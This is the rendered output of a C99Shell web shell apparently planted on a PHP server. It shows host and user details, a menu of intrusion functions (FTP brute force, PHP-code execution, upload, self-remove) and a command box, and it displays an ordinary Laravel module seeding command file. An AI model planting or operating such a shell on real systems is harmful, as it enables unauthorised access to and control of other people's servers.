!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nwidart/laravel-modules/src/Commands/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SeedCommand.php (6.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Nwidart\Modules\Commands;

use 
ErrorException;
use 
Illuminate\Console\Command;
use 
Illuminate\Contracts\Debug\ExceptionHandler;
use 
Illuminate\Support\Str;
use 
Nwidart\Modules\Contracts\RepositoryInterface;
use 
Nwidart\Modules\Module;
use 
Nwidart\Modules\Support\Config\GenerateConfigReader;
use 
Nwidart\Modules\Traits\ModuleCommandTrait;
use 
RuntimeException;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputOption;

class 
SeedCommand extends Command
{
    use 
ModuleCommandTrait;

    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'module:seed';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Run database seeder from the specified module or from all modules.';

    
/**
     * Execute the console command.
     */
    
public function handle() : int
    
{
        try {
            if (
$name $this->argument('module')) {
                
$name Str::studly($name);
                
$this->moduleSeed($this->getModuleByName($name));
            } else {
                
$modules $this->getModuleRepository()->getOrdered();
                
array_walk($modules, [$this'moduleSeed']);
                
$this->info('All modules seeded.');
            }
        } catch (
\Error $e) {
            
$e = new ErrorException($e->getMessage(), $e->getCode(), 1$e->getFile(), $e->getLine(), $e);
            
$this->reportException($e);
            
$this->renderException($this->getOutput(), $e);

            return 
E_ERROR;
        } catch (
\Exception $e) {
            
$this->reportException($e);
            
$this->renderException($this->getOutput(), $e);

            return 
E_ERROR;
        }

        return 
0;
    }

    
/**
     * @throws RuntimeException
     * @return RepositoryInterface
     */
    
public function getModuleRepository(): RepositoryInterface
    
{
        
$modules $this->laravel['modules'];
        if (!
$modules instanceof RepositoryInterface) {
            throw new 
RuntimeException('Module repository not found!');
        }

        return 
$modules;
    }

    
/**
     * @param $name
     *
     * @throws RuntimeException
     *
     * @return Module
     */
    
public function getModuleByName($name)
    {
        
$modules $this->getModuleRepository();
        if (
$modules->has($name) === false) {
            throw new 
RuntimeException("Module [$name] does not exists.");
        }

        return 
$modules->find($name);
    }

    
/**
     * @param Module $module
     *
     * @return void
     */
    
public function moduleSeed(Module $module)
    {
        
$seeders = [];
        
$name $module->getName();
        
$config $module->get('migration');
        if (
is_array($config) && array_key_exists('seeds'$config)) {
            foreach ((array)
$config['seeds'] as $class) {
                if (
class_exists($class)) {
                    
$seeders[] = $class;
                }
            }
        } else {
            
$class $this->getSeederName($name); //legacy support
            
if (class_exists($class)) {
                
$seeders[] = $class;
            } else {
                
//look at other namespaces
                
$classes $this->getSeederNames($name);
                foreach (
$classes as $class) {
                    if (
class_exists($class)) {
                        
$seeders[] = $class;
                    }
                }
            }
        }

        if (
count($seeders) > 0) {
            
array_walk($seeders, [$this'dbSeed']);
            
$this->info("Module [$name] seeded.");
        }
    }

    
/**
     * Seed the specified module.
     *
     * @param string $className
     */
    
protected function dbSeed($className)
    {
        if (
$option $this->option('class')) {
            
$params['--class'] = Str::finish(substr($className0strrpos($className'\\')), '\\') . $option;
        } else {
            
$params = ['--class' => $className];
        }

        if (
$option $this->option('database')) {
            
$params['--database'] = $option;
        }

        if (
$option $this->option('force')) {
            
$params['--force'] = $option;
        }

        
$this->call('db:seed'$params);
    }

    
/**
     * Get master database seeder name for the specified module.
     *
     * @param string $name
     *
     * @return string
     */
    
public function getSeederName($name)
    {
        
$name Str::studly($name);

        
$namespace $this->laravel['modules']->config('namespace');
        
$config GenerateConfigReader::read('seeder');
        
$seederPath str_replace('/''\\'$config->getPath());

        return 
$namespace '\\' $name '\\' $seederPath '\\' $name 'DatabaseSeeder';
    }

    
/**
     * Get master database seeder name for the specified module under a different namespace than Modules.
     *
     * @param string $name
     *
     * @return array $foundModules array containing namespace paths
     */
    
public function getSeederNames($name)
    {
        
$name Str::studly($name);

        
$seederPath GenerateConfigReader::read('seeder');
        
$seederPath str_replace('/''\\'$seederPath->getPath());

        
$foundModules = [];
        foreach (
$this->laravel['modules']->config('scan.paths') as $path) {
            
$namespace array_slice(explode('/'$path), -1)[0];
            
$foundModules[] = $namespace '\\' $name '\\' $seederPath '\\' $name 'DatabaseSeeder';
        }

        return 
$foundModules;
    }

    
/**
     * Report the exception to the exception handler.
     *
     * @param  \Symfony\Component\Console\Output\OutputInterface  $output
     * @param  \Throwable  $e
     * @return void
     */
    
protected function renderException($output\Exception $e)
    {
        
$this->laravel[ExceptionHandler::class]->renderForConsole($output$e);
    }

    
/**
     * Report the exception to the exception handler.
     *
     * @param  \Throwable  $e
     * @return void
     */
    
protected function reportException(\Exception $e)
    {
        
$this->laravel[ExceptionHandler::class]->report($e);
    }

    
/**
     * Get the console command arguments.
     *
     * @return array
     */
    
protected function getArguments()
    {
        return [
            [
'module'InputArgument::OPTIONAL'The name of module will be used.'],
        ];
    }

    
/**
     * Get the console command options.
     *
     * @return array
     */
    
protected function getOptions()
    {
        return [
            [
'class'nullInputOption::VALUE_OPTIONAL'The class name of the root seeder.'],
            [
'database'nullInputOption::VALUE_OPTIONAL'The database connection to seed.'],
            [
'force'nullInputOption::VALUE_NONE'Force the operation to run when in production.'],
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--